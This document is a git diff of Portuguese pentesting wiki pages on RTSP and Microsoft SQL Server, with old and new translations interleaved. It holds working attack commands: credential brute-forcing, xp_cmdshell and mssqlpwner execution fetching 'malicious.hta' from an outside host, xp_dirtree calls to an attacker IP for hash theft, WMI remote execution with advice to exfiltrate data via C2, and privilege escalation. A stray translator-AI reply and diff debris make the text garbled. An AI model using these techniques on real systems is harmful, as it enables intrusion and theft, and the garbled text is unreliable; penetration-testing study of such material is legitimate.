> O **Protocolo de Streaming em Tempo Real** (**RTSP**) é um protocolo de controle de rede projetado para uso em sistemas de entretenimento e comunicações para controlar servidores de mídia em streaming. O protocolo é usado para estabelecer e controlar sessões de mídia entre pontos finais. Clientes de servidores de mídia emitem comandos no estilo VHS, como reproduzir, gravar e pausar, para facilitar o controle em tempo real da mídia transmitida do servidor para um cliente (Vídeo Sob Demanda) ou de um cliente para o servidor (Gravação de Voz).
> The **Real Time Streaming Protocol** (**RTSP**) é um protocolo de controle de rede projetado para uso em sistemas de entretenimento e comunicações para controlar servidores de mídia streaming. O protocolo é usado para estabelecer e controlar sessões de mídia entre pontos finais. Clientes de servidores de mídia emitem comandos no estilo VHS, como play, record e pause, para facilitar o controle em tempo real do streaming de mídia do servidor para um cliente (Vídeo sob Demanda) ou de um cliente para o servidor (Gravação de Voz).
>
> A transmissão de dados de streaming em si não é uma tarefa do RTSP. A maioria dos servidores RTSP usa o Protocolo de Transporte em Tempo Real (RTP) em conjunto com o Protocolo de Controle em Tempo Real (RTCP) para entrega de fluxo de mídia. No entanto, alguns fornecedores implementam protocolos de transporte proprietários. O software do servidor RTSP da RealNetworks, por exemplo, também usou o Protocolo de Transporte de Dados Real (RDT) proprietário da RealNetworks.
> A transmissão dos dados de streaming em si não é responsabilidade do RTSP. A maioria dos servidores RTSP usa o Real-time Transport Protocol (RTP) em conjunto com o Real-time Control Protocol (RTCP) para entrega do fluxo de mídia. Contudo, alguns fornecedores implementam protocolos de transporte proprietários. O software de servidor RTSP da RealNetworks, por exemplo, também utilizava o Real Data Transport (RDT) proprietário da RealNetworks.
**Portas padrão:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Detalhes Chave
## Detalhes principais
**RTSP** é semelhante ao HTTP, mas projetado especificamente para streaming de mídia. Está definido em uma especificação simples que pode ser encontrada aqui:
**RTSP** é semelhante ao HTTP, mas projetado especificamente para streaming de mídia. Está definido em uma especificação direta que pode ser encontrada aqui:
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Dispositivos podem permitir acesso **não autenticado** ou **autenticado**. Para verificar, uma solicitação "DESCRIBE" é enviada. Um exemplo básico é mostrado abaixo:
Dispositivos podem permitir acesso **não autenticado** ou **autenticado**. Para verificar, é enviada uma requisição "DESCRIBE". Um exemplo básico é mostrado abaixo:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
Lembre-se, a formatação correta inclui um duplo "\r\n" para uma resposta consistente. Uma resposta "200 OK" indica **acesso não autenticado**, enquanto "401 Unauthorized" sinaliza a necessidade de autenticação, revelando se a autenticação **Basic** ou **Digest** é necessária.
Lembre-se: a formatação correta inclui um duplo "\r\n" para uma resposta consistente. Uma resposta "200 OK" indica **acesso não autenticado**, enquanto "401 Unauthorized" sinaliza a necessidade de autenticação, revelando se **Basic** ou **Digest authentication** é exigida.
Para **autenticação Basic**, você codifica o nome de usuário e a senha em base64 e inclui na solicitação assim:
Para **Basic authentication**, você codifica o nome de usuário e a senha em base64 e os inclui na requisição da seguinte forma:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
Este exemplo usa "admin" e "1234" para as credenciais. Aqui está um **script Python** para enviar tal solicitação:
Este exemplo usa "admin" e "1234" como credenciais. Abaixo está um script em Python para enviar tal requisição:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,40 +41,46 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**A autenticação básica** é mais simples e preferida. **A autenticação Digest** requer um manuseio cuidadoso dos detalhes de autenticação fornecidos na resposta "401 Unauthorized".
**Basic authentication** é mais simples e preferida. **Digest authentication** requer tratamento cuidadoso dos detalhes de autenticação fornecidos na resposta "401 Unauthorized".
Esta visão geral simplifica o processo de acesso a streams RTSP, focando na **autenticação básica** por sua simplicidade e praticidade em tentativas iniciais.
Esta visão geral simplifica o processo de acesso a RTSP streams, focando em **Basic authentication** pela sua simplicidade e praticidade nas tentativas iniciais.
## Enumeração
Vamos obter informações sobre os métodos válidos e URLs suportados e tentar forçar o acesso (se necessário) para obter acesso ao conteúdo.
Vamos obter informações sobre quais métodos válidos e URLs são suportados e tentar brute-force o acesso (se necessário) para obter acesso ao conteúdo.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### Visualizando o Stream RTSP com [ffplay](https://ffmpeg.org/ffplay.html)
Uma vez que você tenha descoberto um caminho RTSP válido (por exemplo, `/mpeg4`, `/live.sdp`) e confirmado o acesso (não autenticado ou com credenciais), você pode usar `ffplay` para transmitir o feed:
#### Visualizando o fluxo RTSP com [ffplay](https://ffmpeg.org/ffplay.html)
Depois de descobrir um caminho RTSP válido (por exemplo, `/mpeg4`, `/live.sdp`) e confirmar acesso (sem autenticação ou com credenciais), você pode usar `ffplay` para exibir o feed:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: Use TCP em vez de UDP para streaming mais confiável
- `-x`, `-y`: Flags opcionais para controlar a resolução do vídeo
- `-rtsp_transport tcp`: Use TCP em vez de UDP para transmissão mais confiável
- `-x`, `-y`: Flags opcionais para controlar a resolução de vídeo
- Substitua `<IP>` e o caminho conforme necessário
### [Força Bruta](../generic-hacking/brute-force.md#rtsp)
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **Outros programas úteis**
Para bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- Detectar hosts RTSP abertos em qualquer alvo acessível
- Obter suas informações públicas (nome do host, porta, modelo da câmera, etc.)
- Lançar ataques de dicionário automatizados para obter a rota de streaming (por exemplo /live.sdp)
- Lançar ataques de dicionário automatizados para obter o nome de usuário e a senha das câmeras
- Gerar miniaturas a partir delas para verificar se os streams são válidos e ter uma prévia rápida de seu conteúdo
- Tentar criar um pipeline Gstreamer para verificar se estão devidamente codificados
- Imprimir um resumo de todas as informações que o Cameradar conseguiu obter
- Detecta hosts RTSP abertos em qualquer alvo acessível
- Obtém suas informações públicas (hostname, porta, modelo da câmera, etc.)
- Lança ataques automatizados por dicionário para obter a rota do stream (por exemplo /live.sdp)
- Lança ataques automatizados por dicionário para obter o nome de usuário e a senha das câmeras
- Gera miniaturas a partir delas para verificar se os streams são válidos e para ter uma pré-visualização rápida do conteúdo
- Tenta criar uma pipeline Gstreamer para verificar se estão codificadas corretamente
- Imprime um resumo de todas as informações que o Cameradar conseguiu obter
### Veja também
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## Referências

View File

@ -6,7 +6,7 @@
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).
> **Microsoft SQL Server** é um **sistema de gerenciamento de banco de dados relacional** desenvolvido pela Microsoft. Como servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).
**Porta padrão:** 1433
```
@ -14,25 +14,25 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
```
### **Tabelas de Sistema Padrão do MS-SQL**
- **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
- **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
- **Banco de Dados model**: Funciona como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados.
- **Banco de Dados Resource**: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
- **Banco de Dados tempdb**: Serve como uma área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários.
- **master Database**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
- **msdb Database**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e jobs.
- **model Database**: Atua como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são espelhadas nos bancos de dados recém-criados.
- **Resource Database**: Um banco de dados somente leitura que contém objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
- **tempdb Database**: Serve como uma área de armazenamento temporária para objetos transitórios ou conjuntos de resultados intermediários.
## Enumeração
### Enumeração Automática
Se você não souber nada sobre o serviço:
Se você não sabe nada sobre o serviço:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Se você **não** **tiver credenciais**, pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode **bloquear contas** se falhar no login várias vezes usando um nome de usuário existente.
> Se você **não** **tiver credentials** pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode **bloquear contas** se falhar no login várias vezes usando um username existente.
#### Metasploit (precisa de credenciais)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -64,7 +64,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Força bruta**](../../generic-hacking/brute-force.md#sql-server)
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### Enumeração Manual
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Enumeração Comum
#### Common Enumeration
```sql
# Get version
select @@version;
@ -157,13 +157,13 @@ SELECT * FROM sysusers
#### Obter Permissões
1. **Securable:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
- **Servidor** Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor.
- **Banco de Dados** Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
- **Esquema** Inclui tabelas, visualizações, procedimentos, funções, sinônimos, etc.
2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
- **Nível de Servidor** usando logins
- **Nível de Banco de Dados** usando usuários
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
- **Server** Exemplos incluem databases, logins, endpoints, availability groups e server roles.
- **Database** Exemplos cobrem database role, application roles, schema, certificates, full text catalogs e users.
- **Schema** Inclui tables, views, procedures, functions, synonyms, etc.
2. **Permission:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. O gerenciamento de permissões ocorre em dois níveis:
- **Server Level** usando logins
- **Database Level** usando users
3. **Principal:** Este termo refere-se à entidade que recebe permissão sobre um securable. Principals incluem principalmente logins e database users. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou incluindo logins e users em roles equipadas com direitos de acesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -185,10 +185,10 @@ EXEC sp_helprotect 'xp_cmdshell'
```
## Truques
### Executar Comandos do SO
### Executar comandos do sistema operacional
> [!CAUTION]
> Note que, para poder executar comandos, não é apenas necessário ter **`xp_cmdshell`** **habilitado**, mas também ter a **permissão EXECUTE na stored procedure `xp_cmdshell`**. Você pode descobrir quem (exceto sysadmins) pode usar **`xp_cmdshell`** com:
> Observe que, para poder executar comandos, não é suficiente apenas ter **`xp_cmdshell`** **ativado**, é também necessário possuir a **permissão EXECUTE no procedimento armazenado `xp_cmdshell`**. Você pode obter quem (exceto sysadmins) pode usar **`xp_cmdshell`** com:
>
> ```sql
> Use master
@ -235,13 +235,43 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Obter senhas hashadas
### Coleta remota SQL baseada em WMI (sqlcmd + CSV export)
Operadores podem pivotar de uma camada IIS/app para SQL Servers usando WMI para executar um pequeno batch que autentica no MSSQL e executa consultas adhoc, exportando os resultados para CSV. Isso mantém a coleta simples e se mistura com a atividade administrativa.
Exemplo mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Invoque-o remotamente com WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Alternativa ao PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Notas
- sqlcmd pode estar ausente; recorra a osql, PowerShell Invoke-Sqlcmd, ou a um oneliner usando System.Data.SqlClient.
- Use aspas com cuidado; consultas longas/complexas são mais fáceis de fornecer via um ficheiro ou argumento codificado em Base64 decodificado dentro do stub batch/PowerShell.
- Exfil the CSV via SMB (p.ex., copie de \\SQLHOST\C$\Windows\Temp) ou comprima e mova através do seu C2.
### Obter senhas com hash
```bash
SELECT * FROM master.sys.syslogins;
```
### Roubo de hash NetNTLM / Ataque de Relay
### Capturar NetNTLM hash / Relay attack
Você deve iniciar um **servidor SMB** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
Inicie um **SMB server** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +295,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Você pode verificar quem (além dos sysadmins) tem permissões para executar essas funções MSSQL com:
> Você pode verificar quem (além dos sysadmins) tem permissões para executar essas funções do MSSQL com:
>
> ```sql
> Use master;
@ -273,25 +303,27 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_subdirs';
> EXEC sp_helprotect 'xp_fileexist';
> ```
Usando ferramentas como **responder** ou **Inveigh**, é possível **roubar o hash NetNTLM**.\
Você pode ver como usar essas ferramentas em:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Abusando de Links Confiáveis do MSSQL
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
### **Escrever Arquivos**
Para escrever arquivos usando `MSSQL`, precisamos **habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
>
> Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
> You can see how to use these tools in:
>
>
> {{#ref}}
> ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
> {{#endref}}
>
> ### Abusando dos trusted Links do MSSQL
>
> [**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
>
>
> {{#ref}}
> ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
> {{#endref}}
>
> ### **Escrever Arquivos**
>
> Para escrever arquivos usando `MSSQL`, nós **precisamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar algumas stored procedures para criar o arquivo:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -311,7 +343,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Ler arquivo com** OPENROWSET
Por padrão, `MSSQL` permite a leitura de arquivos **em qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
Por padrão, `MSSQL` permite leitura de qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura. Podemos usar a seguinte consulta SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -320,19 +352,19 @@ No entanto, a opção **`BULK`** requer a permissão **`ADMINISTER BULK OPERATIO
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Vetor baseado em erro para SQLi:
#### Vetor Error-based para SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Leitura de arquivos executando scripts (Python e R)**
MSSQL pode permitir que você execute **scripts em Python e/ou R**. Este código será executado por um **usuário diferente** do que está usando **xp_cmdshell** para executar comandos.
MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** daquele que usa **xp_cmdshell** para executar comandos.
Exemplo tentando executar um **'R'** _"Hellow World!"_ **não funcionando**:
![](<../../images/image (393).png>)
Exemplo usando python configurado para realizar várias ações:
Exemplo usando o python configurado para realizar várias ações:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -346,11 +378,11 @@ print(sys.version)
'
GO
```
### Ler Registro
### Ler o Registro
Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Regular** | **Ciente da Instância** |
| **Regular** | **Específico de instância** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -371,21 +403,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Para **mais exemplos** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE com MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É possível **carregar um dll .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
É possível **carregar uma DLL .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com papel de Administrador**.
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
### RCE com `autoadmin_task_agents`
De acordo[ **com este post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), também é possível carregar um dll remoto e fazer o MSSQL executá-lo com algo como:
De acordo [**to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), também é possível carregar uma DLL remota e fazer o MSSQL executá-la com algo como:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Com:
Você não incluiu o conteúdo a ser traduzido. Por favor cole o texto (o conteúdo de src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md) que quer que eu traduza — seguirei as regras indicadas sobre não traduzir código, paths, tags e links.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -435,15 +467,15 @@ public void Test()
}
}
```
### Outras maneiras de RCE
### Outras maneiras para RCE
Existem outros métodos para obter execução de comandos, como adicionar [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Existem outros métodos para obter execução de comandos, como adicionar [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Escalação de Privilégios MSSQL
## MSSQL Privilege Escalation
### De db_owner para sysadmin
Se um **usuário regular** receber o papel **`db_owner`** sobre o **banco de dados pertencente a um usuário admin** (como **`sa`**) e esse banco de dados estiver configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **privesc** porque **stored procedures** criadas lá podem **executar** como o proprietário (**admin**).
Se um **usuário regular** for atribuído ao papel **`db_owner`** sobre o **banco de dados pertencente a um usuário administrador** (como **`sa`**) e esse banco de dados estiver configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **privesc**, porque **stored procedures** criadas ali podem **executar** como o proprietário (**administrador**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,7 +509,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Você pode usar um **metasploit** módulo:
Você pode usar um módulo **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -487,9 +519,9 @@ Ou um **PS** script:
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Impersonação de outros usuários
### Impersonation of other users
SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine.
O SQL Server possui uma permissão especial, chamada **`IMPERSONATE`**, que **permite ao usuário executor assumir as permissões de outro usuário** ou login até que o contexto seja reiniciado ou a sessão termine.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -510,9 +542,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados.
> Se você conseguir se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar **se o usuário tem acesso** a outros **databases** ou linked servers.
Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro:
Note que, uma vez sysadmin, você pode se passar por qualquer outro:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -522,11 +554,11 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Você pode realizar este ataque com um módulo **metasploit**:
Você pode realizar este attack com um módulo do **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
ou com um **script PS**:
ou com um script **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -536,28 +568,28 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Extraindo senhas de Servidores Vinculados do SQL Server
## Extraindo senhas de Linked Servers do SQL Server
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Um atacante pode extrair senhas de SQL Server Linked Servers a partir das instâncias SQL e obtê-las em texto claro, concedendo ao atacante credenciais que podem ser usadas para adquirir um maior controle sobre o alvo. O script para extrair e descriptografar as senhas armazenadas para os Linked Servers pode ser encontrado [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Alguns requisitos e configurações devem ser feitos para que essa exploração funcione. Primeiro de tudo, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server.
Alguns requisitos e configurações devem ser feitos para que esse exploit funcione. Primeiro, você deve ter direitos de Administrator na máquina, ou a capacidade de gerenciar as configurações do SQL Server.
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
Após validar suas permissões, é necessário configurar três coisas, que são as seguintes:
1. Habilitar TCP/IP nas instâncias do SQL Server;
2. Adicionar um parâmetro de Inicialização, neste caso, um sinalizador de rastreamento será adicionado, que é -T7806.
3. Habilitar conexão remota de administrador.
2. Adicionar um parâmetro de Start Up, neste caso, será adicionado um trace flag, que é -T7806.
3. Habilitar remote admin connection.
Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
Para automatizar essas configurações, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Para mais informações, consulte os seguintes links sobre esse ataque: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Resolvendo Problemas com a Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Escalação de Privilégios Local
## Escalada Local de Privilégios
O usuário que executa o servidor MSSQL terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
Você provavelmente conseguirá **escalar para Administrador** seguindo uma dessas 2 páginas:
O usuário que executa o MSSQL server terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
